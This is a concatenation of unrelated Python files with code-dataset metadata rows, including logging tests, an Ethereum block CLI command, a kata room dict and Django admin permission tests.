log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : False,
SettingHelper.ACTIVE_ENVIRONMENT : None
},
**TEST_SETTINGS
)
def mustLogWithoutColorsAsWell() :
# Arrange
noExceptionThrown = 'exception not thrown'
someLogMessage = 'some log message'
someExceptionMessage = 'some exception message'
someInnerExceptionMessage = 'some inner exception message'
exception = None
someExceptionMessageWithStackTrace = f'{someExceptionMessage} with stacktrace'
someExceptionMessageWithoutStackTrace = f'{someExceptionMessage} without stacktrace'
def controlableException(logType, muteStackTrace=False) :
try :
raise Exception(someExceptionMessageWithoutStackTrace if muteStackTrace else someExceptionMessageWithStackTrace)
except Exception as exception :
if logType in OPTIONAL_EXCEPTION_LOG_TYPES :
logType(logType, someLogMessage, exception=exception, muteStackTrace=muteStackTrace)
else :
logType(logType, someLogMessage, exception, muteStackTrace=muteStackTrace)
# Act
# log.success(log.success, someLogMessage)
# log.setting(log.setting, someLogMessage)
# log.debug(log.debug, someLogMessage)
# log.warning(log.warning, someLogMessage)
#
# log.success(log.success, someLogMessage)
# log.setting(log.setting, someLogMessage)
# log.debug(log.debug, someLogMessage)
# log.warning(log.warning, someLogMessage)
controlableException(log.log)
controlableException(log.info)
controlableException(log.debug)
controlableException(log.warning)
controlableException(log.wraper)
controlableException(log.failure)
controlableException(log.error)
controlableException(log.test)
controlableException(log.log, muteStackTrace=True)
controlableException(log.info, muteStackTrace=True)
controlableException(log.debug, muteStackTrace=True)
controlableException(log.warning, muteStackTrace=True)
controlableException(log.wraper, muteStackTrace=True)
controlableException(log.failure, muteStackTrace=True)
controlableException(log.error, muteStackTrace=True)
controlableException(log.test, muteStackTrace=True)
# log.log(log.log, someLogMessage, None)
# log.debug(log.debug, someLogMessage, None)
# log.warning(log.warning, someLogMessage, None)
# log.wraper(log.wraper, noExceptionThrown, None)
# log.failure(log.failure, noExceptionThrown, None)
# log.error(log.error, noExceptionThrown, None)
# log.test(log.test, someLogMessage, None)
# Assert
assert True == SettingHelper.activeEnvironmentIsDefault()
assert SettingHelper.DEFAULT_ENVIRONMENT == EnvironmentHelper.get(SettingHelper.ACTIVE_ENVIRONMENT)
assert SettingHelper.DEFAULT_ENVIRONMENT == SettingHelper.getActiveEnvironment()
@Test(
environmentVariables={
log.LOG : False,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : False,
log.WARNING : False,
log.WRAPPER : False,
log.FAILURE : True,
log.ERROR : True,
log.TEST : False,
SettingHelper.ACTIVE_ENVIRONMENT : SettingHelper.LOCAL_ENVIRONMENT,
'SOME_PARTICULAR_SETTING' : '"some value"'
},
**TEST_SETTINGS
)
def mustLogEnvironmentSettings() :
# Arrange
# Act
SettingHelper.logEnvironmentSettings()
# Assert
assert SettingHelper.LOCAL_ENVIRONMENT == EnvironmentHelper.get(SettingHelper.ACTIVE_ENVIRONMENT)
assert SettingHelper.LOCAL_ENVIRONMENT == SettingHelper.getActiveEnvironment()
assert SettingHelper.activeEnvironmentIsLocal()
assert "some value" == EnvironmentHelper.get('SOME_PARTICULAR_SETTING')
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : False,
SettingHelper.ACTIVE_ENVIRONMENT : None
},
**TEST_SETTINGS
)
def mustLogPretyPythonWithoutColors() :
# Arrange
dictionaryInstance = {**{}, **DICTIONARY_INSTANCE}
exception = None
# Act
try :
log.prettyPython(mustLogPretyPythonWithoutColors, 'prettyPythonWithoutColors', dictionaryInstance)
except Exception as e :
log.failure(mustLogPretyPythonWithoutColors, 'Failed to log prety python in this method call', e)
exception = e
# Assert
assert ObjectHelper.isNone(exception)
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : False,
SettingHelper.ACTIVE_ENVIRONMENT : SettingHelper.LOCAL_ENVIRONMENT
},
**TEST_SETTINGS
)
def mustLogPretyPythonWithColors() :
# Arrange
# log.log(mustLogPretyPythonWithColors, f'type({MyClass}): {type(MyClass)}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass}).__name__: {type(MyClass).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass().myMethod}): {type(MyClass().myMethod)}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass().myMethod}).__name__: {type(MyClass().myMethod).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({myFunction}): {type(myFunction)}')
# log.log(mustLogPretyPythonWithColors, f'type({myFunction}).__name__: {type(myFunction).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({log}): {type(log)}')
# log.log(mustLogPretyPythonWithColors, f'type({log}).__name__: {type(log).__name__}')
dictionaryInstance = {
**{
'class' : MyClass,
'method' : MyClass().myMethod,
'value' : MyClass().myMethod(),
'function' : myFunction,
'otherValue' : myFunction(1.1),
'module' : log
},
**DICTIONARY_INSTANCE
}
exception = None
# Act
try :
log.prettyPython(mustLogPretyPythonWithColors, 'prettyPython', dictionaryInstance)
except Exception as e :
log.failure(mustLogPretyPythonWithColors, 'Failed to log prety python in this method call', e)
exception = e
# Assert
assert ObjectHelper.isNone(exception)
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : False,
SettingHelper.ACTIVE_ENVIRONMENT : SettingHelper.LOCAL_ENVIRONMENT
},
**TEST_SETTINGS
)
def mustLogPretyJsonWithColors() :
# Arrange
# log.log(mustLogPretyPythonWithColors, f'type({MyClass}): {type(MyClass)}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass}).__name__: {type(MyClass).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass().myMethod}): {type(MyClass().myMethod)}')
# log.log(mustLogPretyPythonWithColors, f'type({MyClass().myMethod}).__name__: {type(MyClass().myMethod).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({myFunction}): {type(myFunction)}')
# log.log(mustLogPretyPythonWithColors, f'type({myFunction}).__name__: {type(myFunction).__name__}')
# log.log(mustLogPretyPythonWithColors, f'type({log}): {type(log)}')
# log.log(mustLogPretyPythonWithColors, f'type({log}).__name__: {type(log).__name__}')
dictionaryInstance = {
**{
'class' : MyClass,
'method' : MyClass().myMethod,
'value' : MyClass().myMethod(),
'function' : myFunction,
'otherValue' : myFunction(1.1),
'module' : log
},
**DICTIONARY_INSTANCE
}
exception = None
# Act
try :
log.prettyJson(mustLogPretyJsonWithColors, 'prettyJson', dictionaryInstance)
except Exception as e :
log.failure(mustLogPretyJsonWithColors, 'Failed to log prety json in this method call', e)
exception = e
# Assert
assert exception is None
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : True,
SettingHelper.ACTIVE_ENVIRONMENT : SettingHelper.LOCAL_ENVIRONMENT
},
**TEST_SETTINGS
)
def mustPrintMessageLog_withColors() :
# Arrange
mustLogWithNewLine = 'must log with new line'
mustNotLogWithNewLine = 'must not log with new line'
mustLogWithoutNewLine = 'must log without new line'
mustNotLogWithoutNewLine = 'must not log without new line'
mustLogWithNewLineWithException = 'must log with new line with exception'
mustNotLogWithNewLineWithException = 'must not log with new line with exception'
mustLogWithoutNewLineWithException = 'must log without new line with exception'
mustNotLogWithoutNewLineWithException = 'must not log without new line with exception'
someExceptionMessage = 'some exception message'
thrownException = None
try :
raise Exception(someExceptionMessage)
except Exception as exception :
thrownException = exception
# Act
log.printLog(mustLogWithNewLine, condition=True, newLine=True)
log.printInfo(mustLogWithNewLine, condition=True, newLine=True)
log.printSuccess(mustLogWithNewLine, condition=True, newLine=True)
log.printSetting(mustLogWithNewLine, condition=True, newLine=True)
log.printDebug(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printWarning(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printWarper(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printFailure(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printError(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printTest(mustLogWithNewLine, condition=True, newLine=True, exception=None)
log.printLog(mustNotLogWithNewLine, condition=False, newLine=True)
log.printInfo(mustNotLogWithNewLine, condition=False, newLine=True)
log.printSuccess(mustNotLogWithNewLine, condition=False, newLine=True)
log.printSetting(mustNotLogWithNewLine, condition=False, newLine=True)
log.printDebug(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printWarning(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printWarper(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printFailure(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printError(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printTest(mustNotLogWithNewLine, condition=False, newLine=True, exception=None)
log.printLog(mustLogWithoutNewLine, condition=True, newLine=False)
log.printInfo(mustLogWithoutNewLine, condition=True, newLine=False)
log.printSuccess(mustLogWithoutNewLine, condition=True, newLine=False)
log.printSetting(mustLogWithoutNewLine, condition=True, newLine=False)
log.printDebug(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printWarning(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printWarper(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printFailure(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printError(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printTest(mustLogWithoutNewLine, condition=True, newLine=False, exception=None)
log.printLog(mustNotLogWithoutNewLine, condition=False, newLine=False)
log.printInfo(mustNotLogWithoutNewLine, condition=False, newLine=False)
log.printSuccess(mustNotLogWithoutNewLine, condition=False, newLine=False)
log.printSetting(mustNotLogWithoutNewLine, condition=False, newLine=False)
log.printDebug(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printWarning(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printWarper(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printFailure(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printError(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printTest(mustNotLogWithoutNewLine, condition=False, newLine=False, exception=None)
log.printLog(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printInfo(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printDebug(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printWarning(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printWarper(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printFailure(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printError(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printTest(mustLogWithNewLineWithException, condition=True, newLine=True, exception=thrownException)
log.printLog(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printInfo(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printDebug(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printWarning(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printWarper(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printFailure(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printError(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printTest(mustLogWithoutNewLineWithException, condition=True, newLine=False, exception=thrownException)
log.printLog(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printInfo(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printDebug(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printWarning(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printWarper(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printFailure(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printError(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printTest(mustNotLogWithNewLineWithException, condition=False, newLine=True, exception=thrownException)
log.printLog(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printInfo(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printDebug(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printWarning(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printWarper(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printFailure(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printError(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
log.printTest(mustNotLogWithoutNewLineWithException, condition=False, newLine=False, exception=thrownException)
# Assert
assert True == SettingHelper.activeEnvironmentIsLocal()
assert SettingHelper.LOCAL_ENVIRONMENT == EnvironmentHelper.get(SettingHelper.ACTIVE_ENVIRONMENT)
assert SettingHelper.LOCAL_ENVIRONMENT == SettingHelper.getActiveEnvironment()
| 43.772222
| 124
| 0.72763
| 2,142
| 23,637
| 7.959384
| 0.071895
| 0.029151
| 0.042231
| 0.050502
| 0.877705
| 0.872954
| 0.780632
| 0.767435
| 0.513461
| 0.511174
| 0
| 0.005085
| 0.176334
| 23,637
| 539
| 125
| 43.853432
| 0.870615
| 0.093455
| 0
| 0.612245
| 0
| 0
| 0.06462
| 0.014038
| 0
| 0
| 0
| 0
| 0.036281
| 1
| 0.029478
| false
| 0
| 0.002268
| 0.002268
| 0.036281
| 0.163265
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7c9ff8c5e82cde0ffee105b25794a7b63956ff98
| 6,162
|
py
|
Python
|
ether_py/block/show.py
|
davedittrich/ether-py
|
8f92cdcae5d5e73e282cd1a6d1f2c0fa7667038b
|
[
"Apache-2.0"
] | null | null | null |
ether_py/block/show.py
|
davedittrich/ether-py
|
8f92cdcae5d5e73e282cd1a6d1f2c0fa7667038b
|
[
"Apache-2.0"
] | null | null | null |
ether_py/block/show.py
|
davedittrich/ether-py
|
8f92cdcae5d5e73e282cd1a6d1f2c0fa7667038b
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import argparse
import logging
import textwrap
import sys
from ether_py.utils import to_str
from cliff.show import ShowOne
class BlockShow(ShowOne):
"""Show Ethereum block"""
log = logging.getLogger(__name__)
def get_parser(self, prog_name):
parser = super().get_parser(prog_name)
parser.formatter_class = argparse.RawDescriptionHelpFormatter
parser.add_argument(
'block',
metavar='BLOCK',
nargs=1,
default=None,
help="Ethereum block number",
)
parser.add_argument(
'field',
metavar='FIELD',
nargs='?',
default=[],
help="Block metadata field",
)
parser.epilog = textwrap.dedent("""\
Get an Ethereum block.
The block number should be the block's number, its hash,
or the word "latest" to get the most recent block.
::
$ ether-py block show latest --fit-width
+------------------+-------------------------------------------------------------------------------------------------------------------------+
| Field | Value |
+------------------+-------------------------------------------------------------------------------------------------------------------------+
| number | 15 |
| hash | 0x008547e530fe0965d3711d25fbb1d20264c16d525f02aa280633c1a721ff5720 |
| parentHash | 0xc95783fb95338588b8bffe4c88eb979086e0c6b6fdd1a78bc591319c3270906d |
| mixHash | 0x0000000000000000000000000000000000000000000000000000000000000000 |
| nonce | 0x0000000000000000 |
| sha3Uncles | 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347 |
| logsBloom | 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
| | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
| | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
| | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
| | 00000000000000000000000000000000000000 |
| transactionsRoot | 0x9f619679ac0f15e5725d63c06bf352f88a2eb002d7bbb983188a929c10f38de1 |
| stateRoot | 0xeb0ae3b8c7beb461793f9780d4e180515843f60227768c3b19b0472216673ed6 |
| receiptsRoot | 0xd5420f0d6143865fa94e3464abb47a054c4f83dd5b9159603616fe39b97dd2b2 |
| miner | 0x0000000000000000000000000000000000000000 |
| difficulty | 0 |
| totalDifficulty | 0 |
| extraData | 0x |
| size | 1000 |
| gasLimit | 6721975 |
| gasUsed | 313249 |
| timestamp | 1618011641 |
| transactions | [HexBytes('0x07a137a05974311c877874d5fd699d90adfeb4fca10c95d989285a504af39b2d')] |
| uncles | [] |
+------------------+-------------------------------------------------------------------------------------------------------------------------+
..""") # noqa
return parser
def take_action(self, parsed_args):
self.log.debug('[+] showing Ethereum block')
block = parsed_args.block[0]
try:
eth_block = self.app.w3.eth.get_block(block)
except KeyError:
sys.exit(f"[-] block with id '{block}' not found")
columns = []
data = []
fields = [f.lower() for f in parsed_args.field]
for k, v in eth_block.items():
if not len(fields) or k.lower() in fields:
columns.append(k)
data.append((to_str(v)))
return (columns, data)
# vim: set ts=4 sw=4 tw=0 et :
| 66.258065
| 158
| 0.367089
| 246
| 6,162
| 9.109756
| 0.560976
| 0.023204
| 0.012494
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.331869
| 0.519799
| 6,162
| 92
| 159
| 66.978261
| 0.425482
| 0.012334
| 0
| 0.105263
| 0
| 0
| 0.795656
| 0.25074
| 0
| 0
| 0.116321
| 0
| 0
| 1
| 0.026316
| false
| 0
| 0.078947
| 0
| 0.157895
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cca8c5e84c779edbf55134e836a3b8fd8da0bf9
| 251
|
py
|
Python
|
8_kyu/Grasshopper_Create_the_rooms.py
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
8_kyu/Grasshopper_Create_the_rooms.py
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
8_kyu/Grasshopper_Create_the_rooms.py
|
UlrichBerntien/Codewars-Katas
|
bbd025e67aa352d313564d3862db19fffa39f552
|
[
"MIT"
] | null | null | null |
rooms = {
1 : { 'name' : '1. room', 'description': 'first room', 'completed': False},
2 : { 'name' : '2. room', 'description': 'second room', 'completed': False},
3 : { 'name' : '3. room', 'description': 'third room', 'completed': False}
}
| 50.2
| 80
| 0.549801
| 28
| 251
| 4.928571
| 0.428571
| 0.326087
| 0.391304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.03
| 0.203187
| 251
| 5
| 81
| 50.2
| 0.66
| 0
| 0
| 0
| 0
| 0
| 0.492063
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7ccee03c66523ba8686c6cf408a320a7ce225ecb
| 21
|
py
|
Python
|
SoftLayer/CLI/block/__init__.py
|
dvzrv/softlayer-python
|
9a5f6c6981bcc370084537b4d1769383499ce90d
|
[
"MIT"
] | 126
|
2015-01-05T05:09:22.000Z
|
2021-07-02T00:16:35.000Z
|
SoftLayer/CLI/block/__init__.py
|
dvzrv/softlayer-python
|
9a5f6c6981bcc370084537b4d1769383499ce90d
|
[
"MIT"
] | 969
|
2015-01-05T15:55:31.000Z
|
2022-03-31T19:55:20.000Z
|
SoftLayer/CLI/block/__init__.py
|
dvzrv/softlayer-python
|
9a5f6c6981bcc370084537b4d1769383499ce90d
|
[
"MIT"
] | 176
|
2015-01-22T11:23:40.000Z
|
2022-02-11T13:16:58.000Z
|
"""Block Storage."""
| 10.5
| 20
| 0.571429
| 2
| 21
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 21
| 1
| 21
| 21
| 0.631579
| 0.666667
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cd120d77616c08b787335a600791169a76e4305
| 74
|
py
|
Python
|
concreate/errors.py
|
rcernich/concreate
|
850d17835e859b2ac03e17f1635564ee0b1772aa
|
[
"MIT"
] | null | null | null |
concreate/errors.py
|
rcernich/concreate
|
850d17835e859b2ac03e17f1635564ee0b1772aa
|
[
"MIT"
] | null | null | null |
concreate/errors.py
|
rcernich/concreate
|
850d17835e859b2ac03e17f1635564ee0b1772aa
|
[
"MIT"
] | null | null | null |
class Error(Exception):
pass
class ConcreateError(Error):
pass
| 9.25
| 28
| 0.689189
| 8
| 74
| 6.375
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.22973
| 74
| 7
| 29
| 10.571429
| 0.894737
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
7cd3ef1df4d62ff85cf193ce50136d152879b3ef
| 395
|
py
|
Python
|
tests/test_variables.py
|
RolnickLab/climart
|
6c5c139d6b4ad5925cbd0ec8c9ccf15302563b40
|
[
"CC-BY-4.0"
] | 12
|
2021-09-29T22:04:37.000Z
|
2022-03-01T07:25:33.000Z
|
tests/test_variables.py
|
RolnickLab/climart
|
6c5c139d6b4ad5925cbd0ec8c9ccf15302563b40
|
[
"CC-BY-4.0"
] | null | null | null |
tests/test_variables.py
|
RolnickLab/climart
|
6c5c139d6b4ad5925cbd0ec8c9ccf15302563b40
|
[
"CC-BY-4.0"
] | 2
|
2021-09-30T11:20:28.000Z
|
2021-12-20T13:39:42.000Z
|
from climart.data_wrangling.data_variables import INPUT_VARS_CLOUDS, INPUT_VARS_AEROSOLS, _ALL_INPUT_VARS
def exp_type_subset_vars_test():
for k in INPUT_VARS_CLOUDS:
assert k in _ALL_INPUT_VARS, f"Cloud var {k} was expected to be in _ALL_INPUT_VARS."
for k in INPUT_VARS_AEROSOLS:
assert k in _ALL_INPUT_VARS, f"Aerosol var {k} was expected to be in _ALL_INPUT_VARS."
| 43.888889
| 105
| 0.774684
| 70
| 395
| 3.957143
| 0.4
| 0.292419
| 0.216607
| 0.202166
| 0.505415
| 0.397112
| 0.397112
| 0.238267
| 0.238267
| 0.238267
| 0
| 0
| 0.172152
| 395
| 8
| 106
| 49.375
| 0.847095
| 0
| 0
| 0
| 0
| 0
| 0.268354
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.166667
| false
| 0
| 0.166667
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7ceb2049b938b76143d37b048edae7373e8785fa
| 5,906
|
py
|
Python
|
dataset/tests/test_admin_dataset.py
|
bmampaey/SDA
|
4cbe6fc699a6f0724a4801b3cedf4ab47ca08721
|
[
"MIT"
] | null | null | null |
dataset/tests/test_admin_dataset.py
|
bmampaey/SDA
|
4cbe6fc699a6f0724a4801b3cedf4ab47ca08721
|
[
"MIT"
] | 2
|
2021-07-06T12:14:40.000Z
|
2021-08-23T11:23:21.000Z
|
dataset/tests/test_admin_dataset.py
|
bmampaey/SDA
|
4cbe6fc699a6f0724a4801b3cedf4ab47ca08721
|
[
"MIT"
] | null | null | null |
from django.test import TestCase
from dataset.tests.mixins import TestAdminMixin
from dataset.models import Dataset
from .utils import create_test_instrument
class TestDatasetAdmin(TestAdminMixin, TestCase):
'''Test the DatasetAdmin'''
def test_index(self):
'''Test a GET on the index URL'''
msg = 'The other user must see the dataset list URL in the index view'
self.client.force_login(self.other_user)
response = self.client.get(self.index_url)
self.assertInHtmlResponse(response, self.get_list_url(Dataset), msg=msg)
msg = 'The test user must see the dataset list URL in the index view'
self.client.force_login(self.test_user)
response = self.client.get(self.index_url)
self.assertInHtmlResponse(response, self.get_list_url(Dataset), msg=msg)
msg = 'The super user must see the dataset list URL in the index view'
self.client.force_login(self.super_user)
response = self.client.get(self.index_url)
self.assertInHtmlResponse(response, self.get_list_url(Dataset), msg=msg)
def test_list_url(self):
'''Test a GET on the list URL'''
msg = 'The other user must NOT see the test dataset in the list view'
self.client.force_login(self.other_user)
response = self.client.get(self.get_list_url(Dataset))
self.assertNotInHtmlResponse(response, self.get_change_url(self.test_dataset), msg=msg)
msg = 'The test user must see the test dataset in the list view'
self.client.force_login(self.test_user)
response = self.client.get(self.get_list_url(Dataset))
self.assertInHtmlResponse(response, self.get_change_url(self.test_dataset), msg=msg)
msg = 'The super user must see the test dataset in the list view'
self.client.force_login(self.super_user)
response = self.client.get(self.get_list_url(Dataset))
self.assertInHtmlResponse(response, self.get_change_url(self.test_dataset), msg=msg)
def test_add_url(self):
'''Test a POST on the add URL'''
test_post_data = {
'name': 'new test dataset',
'telescope': self.test_dataset.telescope.pk,
'instrument': self.test_dataset.instrument.pk
}
msg = 'The other user may NOT add a new dataset'
self.client.force_login(self.other_user)
response = self.client.post(self.get_add_url(Dataset), data = test_post_data)
self.assertHttpForbidden(response, msg=msg)
msg = 'The test user may NOT add a new dataset'
self.client.force_login(self.test_user)
response = self.client.post(self.get_add_url(Dataset), data = test_post_data)
self.assertHttpForbidden(response, msg=msg)
msg = 'The super user may add a new dataset'
self.client.force_login(self.super_user)
response = self.client.post(self.get_add_url(Dataset), data = test_post_data)
self.assertRedirects(response, self.get_list_url(Dataset), msg_prefix=msg)
def test_delete_url(self):
'''Test a POST on the delete URL'''
test_post_data = {
'post':'yes'
}
msg = 'The other user may NOT delete the test dataset'
self.client.force_login(self.other_user)
response = self.client.post(self.get_delete_url(self.test_dataset), data = test_post_data)
self.assertHttpForbidden(response, msg=msg)
msg = 'The test user may NOT delete the test dataset'
self.client.force_login(self.test_user)
response = self.client.post(self.get_delete_url(self.test_dataset), data = test_post_data)
self.assertHttpForbidden(response, msg=msg)
msg = 'The super user may delete the test dataset'
self.client.force_login(self.super_user)
response = self.client.post(self.get_delete_url(self.test_dataset), data = test_post_data)
self.assertRedirects(response, self.get_list_url(Dataset), msg_prefix=msg)
def test_change_url(self):
'''Test a POST on the change URL'''
other_instrument = create_test_instrument('other instrument', 'other telescope')
test_post_data = {
'name': 'other name',
'description': 'other description',
'contact_email': 'other_email@test.com',
'archive_url': 'http://other-url.test.com',
'telescope': other_instrument.telescope.name,
'instrument': other_instrument.name,
'characteristics': [],
'user_group': '',
'metadata_content_type': ''
}
msg = 'The other user may NOT change the description, contact_email, archive_url and characteristics, NEITHER the name, telescope, instrument, user_group and metadata_content_type of the test dataset'
self.client.force_login(self.other_user)
response = self.client.post(self.get_change_url(self.test_dataset), data = test_post_data)
self.assertHttpForbidden(response, msg=msg)
self.assertObjectUpdated(self.test_dataset, msg=msg)
msg = 'The test user may change the description, contact_email, archive_url and characteristics, but NOT the name, telescope, instrument, user_group and metadata_content_type of the test dataset'
self.client.force_login(self.test_user)
response = self.client.post(self.get_change_url(self.test_dataset), data = test_post_data)
self.assertRedirects(response, self.get_list_url(Dataset), msg_prefix=msg)
self.assertObjectUpdated(self.test_dataset, 'description', 'contact_email', 'archive_url', msg=msg)
# characteristics is a many to many, and cannot be tested by assertObjectUpdated
self.assertQuerysetEqual(self.test_dataset.characteristics.all(), [], msg=msg)
msg = 'The super user may change description, contact_email, archive_url and characteristics, and also the name, telescope, instrument, user_group and metadata_content_type of any dataset'
self.client.force_login(self.super_user)
response = self.client.post(self.get_change_url(self.test_dataset), data = test_post_data)
self.assertRedirects(response, self.get_list_url(Dataset), msg_prefix=msg)
# description, contact_email, archive_url and characteristics have already been updated during previous test
